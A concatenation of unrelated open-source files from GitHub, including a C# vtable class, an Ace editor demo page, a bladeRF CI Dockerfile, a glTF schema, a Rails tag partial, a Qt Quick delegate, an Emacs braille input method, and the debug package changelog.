/// <param name="rva">RVA of this vtable</param>
/// <param name="flags">Flgas</param>
/// <param name="numSlots">Number of methods in vtable</param>
public VTable(RVA rva, VTableFlags flags, int numSlots) {
this.rva = rva;
this.flags = flags;
methods = new List<IMethod>(numSlots);
}
/// <summary>
/// Constructor
/// </summary>
/// <param name="rva">RVA of this vtable</param>
/// <param name="flags">Flgas</param>
/// <param name="methods">Vtable methods</param>
public VTable(RVA rva, VTableFlags flags, IEnumerable<IMethod> methods) {
this.rva = rva;
this.flags = flags;
this.methods = new List<IMethod>(methods);
}
/// <inheritdoc/>
public IEnumerator<IMethod> GetEnumerator() => methods.GetEnumerator();
/// <inheritdoc/>
System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator() => GetEnumerator();
/// <inheritdoc/>
public override string ToString() {
if (methods.Count == 0)
return $"{methods.Count} {(uint)rva:X8}";
return $"{methods.Count} {(uint)rva:X8} {methods[0]}";
}
}
}
|
{
"pile_set_name": "Github"
}
|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>Editor</title>
<style type="text/css" media="screen">
.ace_editor {
position: relative !important;
border: 1px solid lightgray;
margin: auto;
height: 200px;
width: 80%;
}
.ace_editor.fullScreen {
height: auto;
width: auto;
border: 0;
margin: 0;
position: fixed !important;
top: 0;
bottom: 0;
left: 0;
right: 0;
z-index: 10;
}
.fullScreen {
overflow: hidden
}
.scrollmargin {
height: 500px;
text-align: center;
}
.large-button {
color: lightblue;
cursor: pointer;
font: 30px arial;
padding: 20px;
text-align: center;
border: medium solid transparent;
display: inline-block;
}
.large-button:hover {
border: medium solid lightgray;
border-radius: 10px 10px 10px 10px;
box-shadow: 0 0 12px 0 lightblue;
}
</style>
</head>
<body>
<div class="scrollmargin">
<span onclick="scroll()" class="large-button">
scroll down ⇓
</span>
</div>
<pre id="editor">function foo(items) {
var i;
for (i = 0; i < items.length; i++) {
alert("Ace Rocks " + items[i]);
}
}</pre>
<div class="scrollmargin">
<div style="padding:20px">
press F11 to switch to fullscreen mode
</div>
<span onclick="add()" class="large-button">
+
</span>
</div>
<!-- load ace -->
<script src="../src/ace.js"></script>
<!-- load ace themelist extension -->
<script src="../src/ext-themelist.js"></script>
<script>
var $ = document.getElementById.bind(document);
var dom = require("ace/lib/dom");
//add command to all new editor instaces
require("ace/commands/default_commands").commands.push({
name: "Toggle Fullscreen",
bindKey: "F11",
exec: function(editor) {
var fullScreen = dom.toggleCssClass(document.body, "fullScreen")
dom.setCssClass(editor.container, "fullScreen", fullScreen)
editor.setAutoScrollEditorIntoView(!fullScreen)
editor.resize()
}
})
// create first editor
var editor = ace.edit("editor");
editor.setTheme("ace/theme/twilight");
editor.session.setMode("ace/mode/javascript");
editor.renderer.setScrollMargin(10, 10);
editor.setOptions({
// "scrollPastEnd": 0.8,
autoScrollEditorIntoView: true
});
var count = 1;
function add() {
var oldEl = editor.container
var pad = document.createElement("div")
pad.style.padding = "40px"
oldEl.parentNode.insertBefore(pad, oldEl.nextSibling)
var el = document.createElement("div")
oldEl.parentNode.insertBefore(el, pad.nextSibling)
count++
var theme = themes[Math.floor(themes.length * Math.random() - 1e-5)]
editor = ace.edit(el)
editor.setOptions({
mode: "ace/mode/javascript",
theme: theme,
autoScrollEditorIntoView: true
})
editor.setValue([
"this is editor number: ", count, "\n",
"using theme \"", theme, "\"\n",
":)"
].join(""), -1)
scroll()
}
function scroll(speed) {
var top = editor.container.getBoundingClientRect().top
speed = speed || 10
if (top > 60 && speed < 500) {
if (speed > top - speed - 50)
speed = top - speed - 50
else
setTimeout(scroll, 10, speed + 10)
window.scrollBy(0, speed)
}
}
var themes = require("ace/ext/themelist").themes.map(function(t){return t.theme});
window.add = add;
window.scroll = scroll;
</script>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
# This file is part of the bladeRF project:
# http://www.github.com/nuand/bladeRF
#
# Copyright (c) 2018 Nuand LLC.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
FROM ubuntu:trusty
LABEL maintainer="Nuand LLC <bladeRF@nuand.com>"
LABEL version="0.0.2"
LABEL description="CI build environment for the bladeRF project"
LABEL com.nuand.ci.distribution.name="Ubuntu"
LABEL com.nuand.ci.distribution.codename="trusty"
LABEL com.nuand.ci.distribution.version="14.04"
# Install things
RUN apt-get update \
&& apt-get install -y \
build-essential \
clang \
cmake \
doxygen \
git \
help2man \
libtecla-dev \
libusb-1.0-0-dev \
pandoc \
pkg-config \
usbutils \
&& apt-get clean
# Copy in our build context
COPY --from=nuand/bladerf-buildenv:base /root/bladeRF /root/bladeRF
COPY --from=nuand/bladerf-buildenv:base /root/.config /root/.config
WORKDIR /root/bladeRF
# Build arguments
ARG compiler=gcc
ARG buildtype=Release
ARG taggedrelease=NO
ARG parallel=1
# Do the build!
RUN cd /root/bladeRF/ \
&& mkdir -p build \
&& cd build \
&& cmake \
-DBUILD_DOCUMENTATION=ON \
-DCMAKE_C_COMPILER=${compiler} \
-DCMAKE_BUILD_TYPE=${buildtype} \
-DENABLE_FX3_BUILD=OFF \
-DENABLE_HOST_BUILD=ON \
-DTAGGED_RELEASE=${taggedrelease} \
../ \
&& make -j${parallel} \
&& make install \
&& ldconfig
|
{
"pile_set_name": "Github"
}
|
{
"$schema": "http://json-schema.org/draft-04/schema",
"title": "ADOBE_materials_thin_transparency glTF extension",
"type": "object",
"description": "glTF extension that defines properties to model physically plausible optical transparency.",
"allOf": [ { "$ref": "glTFProperty.schema.json" } ],
"properties": {
"transmissionFactor": {
"type": "number",
"description": "The base percentage of light transmitted through the surface.",
"default": 1.0,
"minimum": 0.0,
"maximum": 1.0,
"gltf_detailedDescription": "The base percentage of non-specularly reflected light that is transmitted through the surface. i.e. of the light that penetrates a surface (isn't specularly reflected), what percentage is transmitted and not diffusely re-emitted from the surface?"
},
"transmissionTexture": {
"allOf": [ { "$ref": "textureInfo.schema.json" } ],
"description": "A greyscale texture that defines the transmission percentage of the surface. This will be multiplied by transmissionFactor.",
"gltf_detailedDescription": "The percentage of non-specularly reflected light that is transmitted through the surface. i.e. of the light that penetrates a surface (isn't specularly reflected), what percentage is transmitted and not diffusely re-emitted from the surface? This will be multiplied by the transmissionFactor."
},
"ior": {
"type": "number",
"description": "The index of refraction of the material.",
"default": 1.33,
"minimum": 1.0,
"maximum": 4.0,
"gltf_detailedDescription": "The average index of refraction of the material, ignoring differences between frequencies of light. Default of 1.33 is for liquid water."
},
"extensions": { },
"extras": { }
}
}
|
{
"pile_set_name": "Github"
}
|
<% user = user || @user # allow overriding w/ local variable %>
<div class="tags-list">
<% tags.each_with_index do |tag, i| %>
<% if tag.class == NodeTag %>
<% if !power_tag && i < 2 # just the first 2 get special display, power tags excluded %>
<%= render partial: 'tag/miniCard', locals: { tag: tag } %>
<% else %>
<% if i == 2 && !power_tag %>
<a class="show-more-tags" href="javascript:void(0);"><p style="float:left; color:#666; margin-top:14px; margin-left:5px;"><u><%= tags.length - 2 %> more</u>   </p></a>
<% end %>
<p class="badge <%= badge_name %> pop more-tags" style="display:none;cursor:pointer;margin-bottom:3px;" id="tag_<%= tag.tid %>" data-toggle="popover" data-trigger="focus" data-count=0 data-placement="top" data-content="<p style='text-align:center;'><a href='/tag/<%= tag.name %>'><%= Tag.tagged_node_count(tag.name) || 0 %> notes</a> - <a href='/contributors/<%= tag.name %>'><%= Tag.contributors(tag.name).count %> people <br></a></p> <p style='text-align:center;font-size:12px;'><%if tag.description %><%= tag.description %> |<% end %> created by <a href='/profile/<%= tag.try(:author).try(:username) %>'><%= tag.try(:author).try(:username) %></a> <%= time_ago_in_words(Time.at(tag.date)) %> ago </p><div class='text-center'><a href='/subscribe/tag/<%= tag.name %>' class='btn btn-primary'>Follow</a></div>" data-html="true" title="<%= tag.name %>">
<a class='tag-name' href='/tag/<%= tag.name %>'><%= tag.name %></a>
<% if logged_in_as(['admin', 'moderator']) || (current_user && ( current_user.uid == @node.uid || current_user.uid == tag.uid)) %>
<% if tag.name.include? ':' %>
<a aria-label="Delete tag" data-confirm="This is a power tag (see https://publiclab.org/wiki/power-tags) -- and may drive a specific function on this page. Are you sure you want to delete it?" class="tag-delete" data-remote="true" href="/tag/delete/<%= @node.id %>/<%= tag.tid %>" data-tag-id="<%= tag.tid %>" data-method="delete"><i class='fa fa-times-circle fa-white blue pl-1' aria-hidden='true' ></i></a>
<% else %>
<a data-confirm="Are you sure you want to delete it?" class="tag-delete" data-remote="true" href="/tag/delete/<%= @node.id %>/<%= tag.tid %>" data-tag-id="<%= tag.tid %>" data-method="delete"><i class='fa fa-times-circle fa-white blue pl-1' aria-hidden='true' ></i></a>
<% end %>
<% end %>
</p>
<% end %>
<% elsif tag.class == UserTag && (tag.name[0..4] != "oauth" || (logged_in_as(['admin', 'moderator']) || (current_user && current_user.uid == tag.uid))) %>
<li style="width: 100%;">
<span id="tag_<%= tag.id %>" class="badge <%= badge_name %> pop" style="cursor:pointer" data-toggle="popover" data-trigger="manual" data-count=0 data-placement="top" data-content="<a href='/contributors/<%= tag.name %>'><%= Tag.tagged_node_count(tag.name) || 0 %> notes - <%= Tag.contributors(tag.name).count %> people <br></a>" data-html="true" title="<%= tag.name %>">
<a class='tag-name' href='/tag/<%= tag.name %>'>
<% if tag.name[0..4] != "oauth" %>
<%= tag.name %>
<% else %>
<%= tag.name[0..5] + tag.name.split(':')[1] %>
<% end %>
</a>
<% if logged_in_as(['admin', 'moderator']) || (current_user && current_user.uid == tag.uid) %>
<a aria-label="Delete tag" data-confirm="Are you sure you want to delete it?" class="tag-delete" data-remote="true" href="/profile/tags/delete/<%= user.id %>?name=<%= tag.name %>" data-method="delete"><i class='fa fa-times-circle fa-white blue pl-1' aria-hidden='true' ></i></a>
<% end %>
</span>
</li>
<% end %>
<% end %>
<script type="text/javascript">
$(".pop").popover({ trigger: "manual" , html: true, animation:false})
.on("mouseenter", function () {
var _this = this;
$(this).popover("show");
$(".popover").on("mouseleave", function () {
$(_this).popover('hide');
});
}).on("mouseleave", function () {
var _this = this;
setTimeout(function () {
if (!$(".popover:hover").length) {
$(_this).popover("hide");
}
}, 300);
});
$('.tag-delete').click(
function(){
$('.popover').remove();
}
);
</script>
</div>
|
{
"pile_set_name": "Github"
}
|
'use strict';
const browsers = [
'last 1 Chrome versions',
'last 1 Firefox versions',
'last 1 Safari versions'
];
const isCI = !!process.env.CI;
const isProduction = process.env.EMBER_ENV === 'production';
if (isCI || isProduction) {
browsers.push('ie 11');
}
module.exports = {
browsers
};
|
{
"pile_set_name": "Github"
}
|
/****************************************************************************
**
** Copyright (C) 2016 The Qt Company Ltd.
** Contact: http://www.qt.io/licensing/
**
** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL3$
** Commercial License Usage
** Licensees holding valid commercial Qt licenses may use this file in
** accordance with the commercial license agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and The Qt Company. For licensing terms
** and conditions see http://www.qt.io/terms-conditions. For further
** information use the contact form at http://www.qt.io/contact-us.
**
** GNU Lesser General Public License Usage
** Alternatively, this file may be used under the terms of the GNU Lesser
** General Public License version 3 as published by the Free Software
** Foundation and appearing in the file LICENSE.LGPLv3 included in the
** packaging of this file. Please review the following information to
** ensure the GNU Lesser General Public License version 3 requirements
** will be met: https://www.gnu.org/licenses/lgpl.html.
**
** GNU General Public License Usage
** Alternatively, this file may be used under the terms of the GNU
** General Public License version 2.0 or later as published by the Free
** Software Foundation and appearing in the file LICENSE.GPL included in
** the packaging of this file. Please review the following information to
** ensure the GNU General Public License version 2.0 requirements will be
** met: http://www.gnu.org/licenses/gpl-2.0.html.
**
** $QT_END_LICENSE$
**
****************************************************************************/
import QtQuick 2.6
import QtQuick.Templates 2.0 as T
T.SwipeDelegate {
id: control
implicitWidth: Math.max(background ? background.implicitWidth : 0,
contentItem.implicitWidth + leftPadding + rightPadding)
implicitHeight: Math.max(background ? background.implicitHeight : 0,
Math.max(contentItem.implicitHeight,
indicator ? indicator.implicitHeight : 0) + topPadding + bottomPadding)
baselineOffset: contentItem.y + contentItem.baselineOffset
padding: 12
spacing: 12
//! [contentItem]
contentItem: Text {
leftPadding: control.mirrored ? (control.indicator ? control.indicator.width : 0) + control.spacing : 0
rightPadding: !control.mirrored ? (control.indicator ? control.indicator.width : 0) + control.spacing : 0
text: control.text
font: control.font
color: control.enabled ? "#26282a" : "#bdbebf"
elide: Text.ElideRight
visible: control.text
horizontalAlignment: Text.AlignLeft
verticalAlignment: Text.AlignVCenter
Behavior on x {
enabled: !control.down
NumberAnimation {
easing.type: Easing.InOutCubic
duration: 400
}
}
}
//! [contentItem]
//! [background]
background: Rectangle {
color: control.visualFocus ? (control.down ? "#cce0ff" : "#e5efff") : (control.down ? "#bdbebf" : "#ffffff")
Behavior on x {
enabled: !control.down
NumberAnimation {
easing.type: Easing.InOutCubic
duration: 400
}
}
}
//! [background]
}
|
{
"pile_set_name": "Github"
}
|
;;; braille-input.el --- A simple input method for braille
;; Copyright (C) 2013 Swiss Library for the Blind, Visually Impaired and Print Disabled
;; This file is free software: you can redistribute it and/or modify
;; it under the terms of the GNU General Public License as published
;; by the Free Software Foundation, either version 3 of the License,
;; or (at your option) any later version.
;; This file is distributed in the hope that it will be useful, but
;; WITHOUT ANY WARRANTY; without even the implied warranty of
;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
;; General Public License for more details.
;; You should have received a copy of the GNU General Public License
;; along with this program. If not, see <http://www.gnu.org/licenses/>.
;;; Commentary:
;;; Code:
;; This code is inspired by Vim unicode braille () and http://benizi.com/vim/braille.vim
(require 'robin)
(robin-define-package "braille-numerical"
"A simple input method for braille."
("b0" ?⠀)
("b1" ?⠁)
("b2" ?⠂)
("b12" ?⠃)
("b3" ?⠄)
("b13" ?⠅)
("b23" ?⠆)
("b123" ?⠇)
("b4" ?⠈)
("b14" ?⠉)
("b24" ?⠊)
("b124" ?⠋)
("b34" ?⠌)
("b134" ?⠍)
("b234" ?⠎)
("b1234" ?⠏)
("b5" ?⠐)
("b15" ?⠑)
("b25" ?⠒)
("b125" ?⠓)
("b35" ?⠔)
("b135" ?⠕)
("b235" ?⠖)
("b1235" ?⠗)
("b45" ?⠘)
("b145" ?⠙)
("b245" ?⠚)
("b1245" ?⠛)
("b345" ?⠜)
("b1345" ?⠝)
("b2345" ?⠞)
("b12345" ?⠟)
("b6" ?⠠)
("b16" ?⠡)
("b26" ?⠢)
("b126" ?⠣)
("b36" ?⠤)
("b136" ?⠥)
("b236" ?⠦)
("b1236" ?⠧)
("b46" ?⠨)
("b146" ?⠩)
("b246" ?⠪)
("b1246" ?⠫)
("b346" ?⠬)
("b1346" ?⠭)
("b2346" ?⠮)
("b12346" ?⠯)
("b56" ?⠰)
("b156" ?⠱)
("b256" ?⠲)
("b1256" ?⠳)
("b356" ?⠴)
("b1356" ?⠵)
("b2356" ?⠶)
("b12356" ?⠷)
("b456" ?⠸)
("b1456" ?⠹)
("b2456" ?⠺)
("b12456" ?⠻)
("b3456" ?⠼)
("b13456" ?⠽)
("b23456" ?⠾)
("b123456" ?⠿)
("b7" ?⡀)
("b17" ?⡁)
("b27" ?⡂)
("b127" ?⡃)
("b37" ?⡄)
("b137" ?⡅)
("b237" ?⡆)
("b1237" ?⡇)
("b47" ?⡈)
("b147" ?⡉)
("b247" ?⡊)
("b1247" ?⡋)
("b347" ?⡌)
("b1347" ?⡍)
("b2347" ?⡎)
("b12347" ?⡏)
("b57" ?⡐)
("b157" ?⡑)
("b257" ?⡒)
("b1257" ?⡓)
("b357" ?⡔)
("b1357" ?⡕)
("b2357" ?⡖)
("b12357" ?⡗)
("b457" ?⡘)
("b1457" ?⡙)
("b2457" ?⡚)
("b12457" ?⡛)
("b3457" ?⡜)
("b13457" ?⡝)
("b23457" ?⡞)
("b123457" ?⡟)
("b67" ?⡠)
("b167" ?⡡)
("b267" ?⡢)
("b1267" ?⡣)
("b367" ?⡤)
("b1367" ?⡥)
("b2367" ?⡦)
("b12367" ?⡧)
("b467" ?⡨)
("b1467" ?⡩)
("b2467" ?⡪)
("b12467" ?⡫)
("b3467" ?⡬)
("b13467" ?⡭)
("b23467" ?⡮)
("b123467" ?⡯)
("b567" ?⡰)
("b1567" ?⡱)
("b2567" ?⡲)
("b12567" ?⡳)
("b3567" ?⡴)
("b13567" ?⡵)
("b23567" ?⡶)
("b123567" ?⡷)
("b4567" ?⡸)
("b14567" ?⡹)
("b24567" ?⡺)
("b124567" ?⡻)
("b34567" ?⡼)
("b134567" ?⡽)
("b234567" ?⡾)
("b1234567" ?⡿)
("b8" ?⢀)
("b18" ?⢁)
("b28" ?⢂)
("b128" ?⢃)
("b38" ?⢄)
("b138" ?⢅)
("b238" ?⢆)
("b1238" ?⢇)
("b48" ?⢈)
("b148" ?⢉)
("b248" ?⢊)
("b1248" ?⢋)
("b348" ?⢌)
("b1348" ?⢍)
("b2348" ?⢎)
("b12348" ?⢏)
("b58" ?⢐)
("b158" ?⢑)
("b258" ?⢒)
("b1258" ?⢓)
("b358" ?⢔)
("b1358" ?⢕)
("b2358" ?⢖)
("b12358" ?⢗)
("b458" ?⢘)
("b1458" ?⢙)
("b2458" ?⢚)
("b12458" ?⢛)
("b3458" ?⢜)
("b13458" ?⢝)
("b23458" ?⢞)
("b123458" ?⢟)
("b68" ?⢠)
("b168" ?⢡)
("b268" ?⢢)
("b1268" ?⢣)
("b368" ?⢤)
("b1368" ?⢥)
("b2368" ?⢦)
("b12368" ?⢧)
("b468" ?⢨)
("b1468" ?⢩)
("b2468" ?⢪)
("b12468" ?⢫)
("b3468" ?⢬)
("b13468" ?⢭)
("b23468" ?⢮)
("b123468" ?⢯)
("b568" ?⢰)
("b1568" ?⢱)
("b2568" ?⢲)
("b12568" ?⢳)
("b3568" ?⢴)
("b13568" ?⢵)
("b23568" ?⢶)
("b123568" ?⢷)
("b4568" ?⢸)
("b14568" ?⢹)
("b24568" ?⢺)
("b124568" ?⢻)
("b34568" ?⢼)
("b134568" ?⢽)
("b234568" ?⢾)
("b1234568" ?⢿)
("b78" ?⣀)
("b178" ?⣁)
("b278" ?⣂)
("b1278" ?⣃)
("b378" ?⣄)
("b1378" ?⣅)
("b2378" ?⣆)
("b12378" ?⣇)
("b478" ?⣈)
("b1478" ?⣉)
("b2478" ?⣊)
("b12478" ?⣋)
("b3478" ?⣌)
("b13478" ?⣍)
("b23478" ?⣎)
("b123478" ?⣏)
("b578" ?⣐)
("b1578" ?⣑)
("b2578" ?⣒)
("b12578" ?⣓)
("b3578" ?⣔)
("b13578" ?⣕)
("b23578" ?⣖)
("b123578" ?⣗)
("b4578" ?⣘)
("b14578" ?⣙)
("b24578" ?⣚)
("b124578" ?⣛)
("b34578" ?⣜)
("b134578" ?⣝)
("b234578" ?⣞)
("b1234578" ?⣟)
("b678" ?⣠)
("b1678" ?⣡)
("b2678" ?⣢)
("b12678" ?⣣)
("b3678" ?⣤)
("b13678" ?⣥)
("b23678" ?⣦)
("b123678" ?⣧)
("b4678" ?⣨)
("b14678" ?⣩)
("b24678" ?⣪)
("b124678" ?⣫)
("b34678" ?⣬)
("b134678" ?⣭)
("b234678" ?⣮)
("b1234678" ?⣯)
("b5678" ?⣰)
("b15678" ?⣱)
("b25678" ?⣲)
("b125678" ?⣳)
("b35678" ?⣴)
("b135678" ?⣵)
("b235678" ?⣶)
("b1235678" ?⣷)
("b45678" ?⣸)
("b145678" ?⣹)
("b245678" ?⣺)
("b1245678" ?⣻)
("b345678" ?⣼)
("b1345678" ?⣽)
("b2345678" ?⣾)
("b12345678" ?⣿))
(register-input-method
"braille-numerical"
"braille"
'robin-use-package
"braille"
"A simple numerical braille input method")
|
{
"pile_set_name": "Github"
}
|
// author: Jannik Strötgen
// email: stroetgen@uni-hd.de
// date: 2011-06-10
// This file contains regular expression patterns for time hours.
// FORMAT: one line is one disjunction of the pattern
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
0?[0-9]
|
{
"pile_set_name": "Github"
}
|
2.6.8 / 2017-05-18
==================
* Fix: Check for undefined on browser globals (#462, @marbemac)
2.6.7 / 2017-05-16
==================
* Fix: Update ms to 2.0.0 to fix regular expression denial of service vulnerability (#458, @hubdotcom)
* Fix: Inline extend function in node implementation (#452, @dougwilson)
* Docs: Fix typo (#455, @msasad)
2.6.5 / 2017-04-27
==================
* Fix: null reference check on window.documentElement.style.WebkitAppearance (#447, @thebigredgeek)
* Misc: clean up browser reference checks (#447, @thebigredgeek)
* Misc: add npm-debug.log to .gitignore (@thebigredgeek)
2.6.4 / 2017-04-20
==================
* Fix: bug that would occure if process.env.DEBUG is a non-string value. (#444, @LucianBuzzo)
* Chore: ignore bower.json in npm installations. (#437, @joaovieira)
* Misc: update "ms" to v0.7.3 (@tootallnate)
2.6.3 / 2017-03-13
==================
* Fix: Electron reference to `process.env.DEBUG` (#431, @paulcbetts)
* Docs: Changelog fix (@thebigredgeek)
2.6.2 / 2017-03-10
==================
* Fix: DEBUG_MAX_ARRAY_LENGTH (#420, @slavaGanzin)
* Docs: Add backers and sponsors from Open Collective (#422, @piamancini)
* Docs: Add Slackin invite badge (@tootallnate)
2.6.1 / 2017-02-10
==================
* Fix: Module's `export default` syntax fix for IE8 `Expected identifier` error
* Fix: Whitelist DEBUG_FD for values 1 and 2 only (#415, @pi0)
* Fix: IE8 "Expected identifier" error (#414, @vgoma)
* Fix: Namespaces would not disable once enabled (#409, @musikov)
2.6.0 / 2016-12-28
==================
* Fix: added better null pointer checks for browser useColors (@thebigredgeek)
* Improvement: removed explicit `window.debug` export (#404, @tootallnate)
* Improvement: deprecated `DEBUG_FD` environment variable (#405, @tootallnate)
2.5.2 / 2016-12-25
==================
* Fix: reference error on window within webworkers (#393, @KlausTrainer)
* Docs: fixed README typo (#391, @lurch)
* Docs: added notice about v3 api discussion (@thebigredgeek)
2.5.1 / 2016-12-20
==================
* Fix: babel-core compatibility
2.5.0 / 2016-12-20
==================
* Fix: wrong reference in bower file (@thebigredgeek)
* Fix: webworker compatibility (@thebigredgeek)
* Fix: output formatting issue (#388, @kribblo)
* Fix: babel-loader compatibility (#383, @escwald)
* Misc: removed built asset from repo and publications (@thebigredgeek)
* Misc: moved source files to /src (#378, @yamikuronue)
* Test: added karma integration and replaced babel with browserify for browser tests (#378, @yamikuronue)
* Test: coveralls integration (#378, @yamikuronue)
* Docs: simplified language in the opening paragraph (#373, @yamikuronue)
2.4.5 / 2016-12-17
==================
* Fix: `navigator` undefined in Rhino (#376, @jochenberger)
* Fix: custom log function (#379, @hsiliev)
* Improvement: bit of cleanup + linting fixes (@thebigredgeek)
* Improvement: rm non-maintainted `dist/` dir (#375, @freewil)
* Docs: simplified language in the opening paragraph. (#373, @yamikuronue)
2.4.4 / 2016-12-14
==================
* Fix: work around debug being loaded in preload scripts for electron (#368, @paulcbetts)
2.4.3 / 2016-12-14
==================
* Fix: navigation.userAgent error for react native (#364, @escwald)
2.4.2 / 2016-12-14
==================
* Fix: browser colors (#367, @tootallnate)
* Misc: travis ci integration (@thebigredgeek)
* Misc: added linting and testing boilerplate with sanity check (@thebigredgeek)
2.4.1 / 2016-12-13
==================
* Fix: typo that broke the package (#356)
2.4.0 / 2016-12-13
==================
* Fix: bower.json references unbuilt src entry point (#342, @justmatt)
* Fix: revert "handle regex special characters" (@tootallnate)
* Feature: configurable util.inspect()`options for NodeJS (#327, @tootallnate)
* Feature: %O`(big O) pretty-prints objects (#322, @tootallnate)
* Improvement: allow colors in workers (#335, @botverse)
* Improvement: use same color for same namespace. (#338, @lchenay)
2.3.3 / 2016-11-09
==================
* Fix: Catch `JSON.stringify()` errors (#195, Jovan Alleyne)
* Fix: Returning `localStorage` saved values (#331, Levi Thomason)
* Improvement: Don't create an empty object when no `process` (Nathan Rajlich)
2.3.2 / 2016-11-09
==================
* Fix: be super-safe in index.js as well (@TooTallNate)
* Fix: should check whether process exists (Tom Newby)
2.3.1 / 2016-11-09
==================
* Fix: Added electron compatibility (#324, @paulcbetts)
* Improvement: Added performance optimizations (@tootallnate)
* Readme: Corrected PowerShell environment variable example (#252, @gimre)
* Misc: Removed yarn lock file from source control (#321, @fengmk2)
2.3.0 / 2016-11-07
==================
* Fix: Consistent placement of ms diff at end of output (#215, @gorangajic)
* Fix: Escaping of regex special characters in namespace strings (#250, @zacronos)
* Fix: Fixed bug causing crash on react-native (#282, @vkarpov15)
* Feature: Enabled ES6+ compatible import via default export (#212 @bucaran)
* Feature: Added %O formatter to reflect Chrome's console.log capability (#279, @oncletom)
* Package: Update "ms" to 0.7.2 (#315, @DevSide)
* Package: removed superfluous version property from bower.json (#207 @kkirsche)
* Readme: fix USE_COLORS to DEBUG_COLORS
* Readme: Doc fixes for format string sugar (#269, @mlucool)
* Readme: Updated docs for DEBUG_FD and DEBUG_COLORS environment variables (#232, @mattlyons0)
* Readme: doc fixes for PowerShell (#271 #243, @exoticknight @unreadable)
* Readme: better docs for browser support (#224, @matthewmueller)
* Tooling: Added yarn integration for development (#317, @thebigredgeek)
* Misc: Renamed History.md to CHANGELOG.md (@thebigredgeek)
* Misc: Added license file (#226 #274, @CantemoInternal @sdaitzman)
* Misc: Updated contributors (@thebigredgeek)
2.2.0 / 2015-05-09
==================
* package: update "ms" to v0.7.1 (#202, @dougwilson)
* README: add logging to file example (#193, @DanielOchoa)
* README: fixed a typo (#191, @amir-s)
* browser: expose `storage` (#190, @stephenmathieson)
* Makefile: add a `distclean` target (#189, @stephenmathieson)
2.1.3 / 2015-03-13
==================
* Updated stdout/stderr example (#186)
* Updated example/stdout.js to match debug current behaviour
* Renamed example/stderr.js to stdout.js
* Update Readme.md (#184)
* replace high intensity foreground color for bold (#182, #183)
2.1.2 / 2015-03-01
==================
* dist: recompile
* update "ms" to v0.7.0
* package: update "browserify" to v9.0.3
* component: fix "ms.js" repo location
* changed bower package name
* updated documentation about using debug in a browser
* fix: security error on safari (#167, #168, @yields)
2.1.1 / 2014-12-29
==================
* browser: use `typeof` to check for `console` existence
* browser: check for `console.log` truthiness (fix IE 8/9)
* browser: add support for Chrome apps
* Readme: added Windows usage remarks
* Add `bower.json` to properly support bower install
2.1.0 / 2014-10-15
==================
* node: implement `DEBUG_FD` env variable support
* package: update "browserify" to v6.1.0
* package: add "license" field to package.json (#135, @panuhorsmalahti)
2.0.0 / 2014-09-01
==================
* package: update "browserify" to v5.11.0
* node: use stderr rather than stdout for logging (#29, @stephenmathieson)
1.0.4 / 2014-07-15
==================
* dist: recompile
* example: remove `console.info()` log usage
* example: add "Content-Type" UTF-8 header to browser example
* browser: place %c marker after the space character
* browser: reset the "content" color via `color: inherit`
* browser: add colors support for Firefox >= v31
* debug: prefer an instance `log()` function over the global one (#119)
* Readme: update documentation about styled console logs for FF v31 (#116, @wryk)
1.0.3 / 2014-07-09
==================
* Add support for multiple wildcards in namespaces (#122, @seegno)
* browser: fix lint
1.0.2 / 2014-06-10
==================
* browser: update color palette (#113, @gscottolson)
* common: make console logging function configurable (#108, @timoxley)
* node: fix %o colors on old node <= 0.8.x
* Makefile: find node path using shell/which (#109, @timoxley)
1.0.1 / 2014-06-06
==================
* browser: use `removeItem()` to clear localStorage
* browser, node: don't set DEBUG if namespaces is undefined (#107, @leedm777)
* package: add "contributors" section
* node: fix comment typo
* README: list authors
1.0.0 / 2014-06-04
==================
* make ms diff be global, not be scope
* debug: ignore empty strings in enable()
* node: make DEBUG_COLORS able to disable coloring
* *: export the `colors` array
* npmignore: don't publish the `dist` dir
* Makefile: refactor to use browserify
* package: add "browserify" as a dev dependency
* Readme: add Web Inspector Colors section
* node: reset terminal color for the debug content
* node: map "%o" to `util.inspect()`
* browser: map "%j" to `JSON.stringify()`
* debug: add custom "formatters"
* debug: use "ms" module for humanizing the diff
* Readme: add "bash" syntax highlighting
* browser: add Firebug color support
* browser: add colors for WebKit browsers
* node: apply log to `console`
* rewrite: abstract common logic for Node & browsers
* add .jshintrc file
0.8.1 / 2014-04-14
==================
* package: re-add the "component" section
0.8.0 / 2014-03-30
==================
* add `enable()` method for nodejs. Closes #27
* change from stderr to stdout
* remove unnecessary index.js file
0.7.4 / 2013-11-13
==================
* remove "browserify" key from package.json (fixes something in browserify)
0.7.3 / 2013-10-30
==================
* fix: catch localStorage security error when cookies are blocked (Chrome)
* add debug(err) support. Closes #46
* add .browser prop to package.json. Closes #42
0.7.2 / 2013-02-06
==================
* fix package.json
* fix: Mobile Safari (private mode) is broken with debug
* fix: Use unicode to send escape character to shell instead of octal to work with strict mode javascript
0.7.1 / 2013-02-05
==================
* add repository URL to package.json
* add DEBUG_COLORED to force colored output
* add browserify support
* fix component. Closes #24
0.7.0 / 2012-05-04
==================
* Added .component to package.json
